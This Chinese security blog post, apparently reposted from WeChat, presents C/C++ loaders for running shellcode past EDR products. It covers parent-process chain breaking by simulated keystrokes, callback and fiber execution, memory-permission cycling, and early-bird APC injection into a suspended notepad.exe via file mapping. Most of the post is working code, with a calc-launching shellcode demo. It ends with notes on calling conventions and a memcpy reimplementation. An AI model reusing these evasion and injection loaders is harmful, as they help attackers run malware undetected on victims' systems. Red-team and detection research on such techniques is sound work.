EDR下远程线程安全指南

admin 2024年3月25日08:41:56评论3 views字数 9136阅读30分27秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:12985

声明:仅供学习参考,请勿用作违法用途

目录

  • 前记

  • 进程断链

  • 回调执行

  • 纤程

  • 内存属性修改

  • early bird+Mapping

  • 后记

  • reference

前记

触发EDR远程线程扫描关键api:createprocesscreateremotethreadvoid(指针)、createthread

为了更加opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路

进程断链

#include <windows.h>
#include<iostream>

void SimulateKeyPress(WORD keyCode) {
    INPUT inputs[2] = {};
    ZeroMemory(inputs, sizeof(inputs));
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = keyCode;
    Sleep(500);
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
    UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
    // 调用 ShellExecute 函数,执行一个命令
    HINSTANCE  hReturn = ShellExecuteA(NULL"explore""C:\security\tmp"NULLNULL, SW_HIDE);//SW_RESTORE
    if ((int)hReturn < 32) {
        printf("0");
        return 0;
    }
    printf("% d", (int)hReturn);
    HWND hExplorer = FindWindowA("CabinetWClass"NULL);
    if (hExplorer) {
        // 将资源管理器窗口设置为前台窗口
        SetForegroundWindow(hExplorer);
    }
    else {
        printf("Explorer window not found.n");
    }
    SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
    SimulateKeyPress(VK_RETURN);
    return 0;
}

通过模拟键盘点击,完成进程断链,父进程为explore

EDR下远程线程安全指南

进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描,举例如下

#include <windows.h>
#include<iostream>

//calc shellcode
unsigned char rawData[276] = {};
int main()
{
    LPVOID addr = VirtualAlloc(NULLsizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(addr, rawData, sizeof(rawData));
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
    return 0;
}

纤程

纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>

void like() {
    //calc shellcode
    unsigned char rawData[276] = {
        0xFC0x480x830xE40xF00xE80xC00x000x000x000x410x51,
        0x410x500x520x510x560x480x310xD20x650x480x8B0x52,
        0x600x480x8B0x520x180x480x8B0x520x200x480x8B0x72,
        0x500x480x0F0xB70x4A0x4A0x4D0x310xC90x480x310xC0,
        0xAC0x3C0x610x7C0x020x2C0x200x410xC10xC90x0D0x41,
        0x010xC10xE20xED0x520x410x510x480x8B0x520x200x8B,
        0x420x3C0x480x010xD00x8B0x800x880x000x000x000x48,
        0x850xC00x740x670x480x010xD00x500x8B0x480x180x44,
        0x8B0x400x200x490x010xD00xE30x560x480xFF0xC90x41,
        0x8B0x340x880x480x010xD60x4D0x310xC90x480x310xC0,
        0xAC0x410xC10xC90x0D0x410x010xC10x380xE00x750xF1,
        0x4C0x030x4C0x240x080x450x390xD10x750xD80x580x44,
        0x8B0x400x240x490x010xD00x660x410x8B0x0C0x480x44,
        0x8B0x400x1C0x490x010xD00x410x8B0x040x880x480x01,
        0xD00x410x580x410x580x5E0x590x5A0x410x580x410x59,
        0x410x5A0x480x830xEC0x200x410x520xFF0xE00x580x41,
        0x590x5A0x480x8B0x120xE90x570xFF0xFF0xFF0x5D0x48,
        0xBA0x010x000x000x000x000x000x000x000x480x8D0x8D,
        0x010x010x000x000x410xBA0x310x8B0x6F0x870xFF0xD5,
        0xBB0xF00xB50xA20x560x410xBA0xA60x950xBD0x9D0xFF,
        0xD50x480x830xC40x280x3C0x060x7C0x0A0x800xFB0xE0,
        0x750x050xBB0x470x130x720x6F0x6A0x000x590x410x89,
        0xDA0xFF0xD50x630x610x6C0x630x2E0x650x780x650x00
    };
    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULLsizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, rawData, sizeof(rawData));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main() {
    like();
}

内存属性修改

内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird,APC注入的变种

Mapping:内存映射

  • 创建一个挂起的进程(通常是windows的合法进程)
  • 在挂起的进程内申请一块可读可写可执行的内存空间
  • 往申请的空间内写入shellcode
  • 将APC插入到该进程的主线程
  • 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")

void mymemcpy(void* dst, void* src, size_t size);
int main()
{
    //calc shellcode
    unsigned char rawData[276] = {
    0xFC0x480x830xE40xF00xE80xC00x000x000x000x410x51,
    0x410x500x520x510x560x480x310xD20x650x480x8B0x52,
    0x600x480x8B0x520x180x480x8B0x520x200x480x8B0x72,
    0x500x480x0F0xB70x4A0x4A0x4D0x310xC90x480x310xC0,
    0xAC0x3C0x610x7C0x020x2C0x200x410xC10xC90x0D0x41,
    0x010xC10xE20xED0x520x410x510x480x8B0x520x200x8B,
    0x420x3C0x480x010xD00x8B0x800x880x000x000x000x48,
    0x850xC00x740x670x480x010xD00x500x8B0x480x180x44,
    0x8B0x400x200x490x010xD00xE30x560x480xFF0xC90x41,
    0x8B0x340x880x480x010xD60x4D0x310xC90x480x310xC0,
    0xAC0x410xC10xC90x0D0x410x010xC10x380xE00x750xF1,
    0x4C0x030x4C0x240x080x450x390xD10x750xD80x580x44,
    0x8B0x400x240x490x010xD00x660x410x8B0x0C0x480x44,
    0x8B0x400x1C0x490x010xD00x410x8B0x040x880x480x01,
    0xD00x410x580x410x580x5E0x590x5A0x410x580x410x59,
    0x410x5A0x480x830xEC0x200x410x520xFF0xE00x580x41,
    0x590x5A0x480x8B0x120xE90x570xFF0xFF0xFF0x5D0x48,
    0xBA0x010x000x000x000x000x000x000x000x480x8D0x8D,
    0x010x010x000x000x410xBA0x310x8B0x6F0x870xFF0xD5,
    0xBB0xF00xB50xA20x560x410xBA0xA60x950xBD0x9D0xFF,
    0xD50x480x830xC40x280x3C0x060x7C0x0A0x800xFB0xE0,
    0x750x050xBB0x470x130x720x6F0x6A0x000x590x410x89,
    0xDA0xFF0xD50x630x610x6C0x630x2E0x650x780x650x00
    };
    LPCSTR lpApplication = "C:\Windows\System32\notepad.exe";
    STARTUPINFO sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };
    sInfo.cb = sizeof(STARTUPINFO);

    CreateProcessA(lpApplication, NULLNULLNULL, FALSE, CREATE_SUSPENDED, NULLNULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;

    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0sizeof(rawData), NULL);
    LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 00sizeof(rawData));
    mymemcpy(lpMapAddress, rawData, sizeof(rawData));
    LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0NULL00, PAGE_EXECUTE_READ);

    QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
    ResumeThread(hThread);
    CloseHandle(hThread);
    CloseHandle(hProc);
    CloseHandle(hMapping);
    UnmapViewOfFile(lpMapAddress);
    return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

后记

传参规则

#include<iostream>
using namespace std;
void func(int a, int b)
{
 cout << "func:n";
 cout << "a = " << a << "tb = " << b << endl;
}
int main(void)
{
 int v = 3;
 func(v, v++);
 cout << "v=" << v;
 v = 3;
 func(v, ++v);
 v = 3;
 func(++v, v);
 v = 3;
 func(v++, v);
 return 0;
}

func: a = 3   b = 3 v=4 func: a = 4   b = 4 func: a = 4   b = 4 func: a = 3   b = 3

函数声明区别

__cdecl:

C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。

__stdcall:

windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。

__fastcall:

快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。

在x86下出现明显特征

    19:  func1(4, 5);//__cdecl
00981B31 6A 05                push        5  
00981B33 6A 04                push        4  
00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
00981B3A 83 C4 08             add         esp,8  
    20:  func2(4, 5);//__stdcall
00981B3D 6A 05                push        5  
00981B3F 6A 04                push        4  
00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  
    21:  func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00       mov         edx,5  
00981B4B B9 04 00 00 00       mov         ecx,4  
00981B50 E8 2C F6 FF FF       call        func3 (0981181h)  

自实现copymemory

void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

reference

https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9

文章首发于:渗透测试安全攻防

原文始发于微信公众号(渗透测试安全攻防):EDR下远程线程安全指南

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日08:41:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EDR下远程线程安全指南https://cn-sec.com/archives/2600465.html

发表评论

匿名网友 填写信息